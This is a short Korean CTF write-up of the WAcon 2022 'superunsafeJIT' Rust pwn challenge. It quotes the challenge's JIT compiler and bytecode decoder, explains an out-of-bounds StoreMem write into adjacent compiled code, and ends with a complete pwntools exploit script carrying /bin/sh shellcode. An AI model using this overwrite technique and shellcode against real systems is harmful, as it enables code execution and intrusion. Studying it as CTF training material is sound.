[CTF write up] WAcon CTF 2022 Qual - superunsafeJIT : Super ez Rust Pwn
2023. 2. 1. 09:21ㆍCTF write up
fn compile(bytecode: &[u8], data_memory: &memory::Memory) -> Result<*const (), Error> {
let mut function_table = HashMap::new();
function_table.insert("deoptimize".to_string(), 0xdeadbeef);
let pl1 = bytecode::TranslationUnit::new(bytecode)?;
println!("[main::compile] pl1 = `{}`", pl1 );
let pl2 = vasm::TranslationUnit::new(&pl1, &data_memory, &function_table)?;
println!("[main::compile] pl2 = `{}`", pl2 );
let pl3 = asm::TranslationUnit::new(&pl2)?;
println!("[main::compile] pl3 = `{}`", pl3 );
let pl41 = ice_wrapper::assemble(&pl3, 0x0)?;
println!("[main::compile] pl41 = `{:?}`", pl41 );
let code_mem = memory::page_allocate(pg_round_up(pl41.len()), true)?;
let pl42 = ice_wrapper::assemble(&pl3, code_mem.pointer as u64)?;
println!("[main::compile] pl42 = `{:?}`", pl42 );
unsafe {
std::ptr::copy(pl42.as_ptr(), code_mem.pointer, pl42.len());
println!("[main::compile] code_mem (addr) = `{:?}`", code_mem.pointer as *const () );
Ok(code_mem.pointer as *const ())
}
}
Rust로 만들어진 괴상한 JIT 프로그램이다. RUST를 써본적이 없어서 디버깅은 위와 같이 대충 println으로 값을 찍으면서 어떻게 돌아가는지 파악했다.
대충 살펴보면 그냥 바이트코드를 그대로 어셈블리로 변환해서 저장하는 것을 알 수 있다. 이 과정에서 딱히 Sanitizing 같은게 존재하지 않아서 Out-Of-Bounds 취약점이 발생한다.
fn analyze_instructions(
bytes: &[u8],
begin: usize,
end: usize,
) -> Result<Vec<Instruction>, Error> {
let mut offset = begin;
let mut instructions = Vec::new();
while offset < end && offset + 7 <= end {
let instr_bytes = &bytes[offset..offset + 7];
let instr = match instr_bytes[0] {
0 => Instruction::LoadImm {
dst_reg: u16(&instr_bytes[1..3]),
imm: u32(&instr_bytes[3..7]) as i32,
},
1 => Instruction::LoadMem {
dst_reg: u16(&instr_bytes[1..3]),
base_reg: u16(&instr_bytes[3..5]),
offset_imm: u16(&instr_bytes[5..7]) as i32,
},
2 => Instruction::StoreMem {
src_reg: u16(&instr_bytes[1..3]),
base_reg: u16(&instr_bytes[3..5]),
offset_imm: u16(&instr_bytes[5..7]) as i32,
},
3 => Instruction::Add {
src_reg: u16(&instr_bytes[1..3]),
dst_reg: u16(&instr_bytes[3..5]),
},
4 => Instruction::Sub {
src_reg: u16(&instr_bytes[1..3]),
dst_reg: u16(&instr_bytes[3..5]),
},
7 | 8 => {
offset += 7;
continue;
}
9 => Instruction::Call {
fid: u32(&instr_bytes[3..7]) as i32,
},
_ => {
return Err(Error::InvalidOpcodeError);
}
};
instructions.push(instr);
offset += 7;
}
println!("[bytecode::TranslationUnit::analyze_instructions] instructions = {:?}",instructions);
Ok(instructions)
}
바이트코드는 bytecode.rs를 살펴보면 빠르게 알 수 있다.
사용자의 function을 call하는 부분에 bp를 걸고 확인하거나 rust에서 포인터를 직접 찍어보면 Loadmem, Storemem 인스트럭션에서 이용하는 메모리 아래에 컴파일된 opcode가 저장되어있는 메모리가 인접해있는걸 알 수 있다.
from pwn import *
p = process('chal')
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode = shellcode + b'\x00'
p.sendline(b'1')
p.sendline(b'00')
pay = b''
for i in range(0,len(shellcode),4):
pay += b'00' + b'0000' + shellcode[i:i+4].hex().encode() # Instruction::LoadImm
pay += b'00' + b'0100' + b'00d03600' # Instruction::LoadImm
pay += b'02' + b'0000' + b'0100' + (i).to_bytes(2,'little').hex().encode() # Instruction::StoreMem
p.sendline(b'1')
p.sendline(pay)
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'0')
p.interactive()
따라서 그냥 OOB로 function 영역을 쉘코드로 덮어버리면 된다.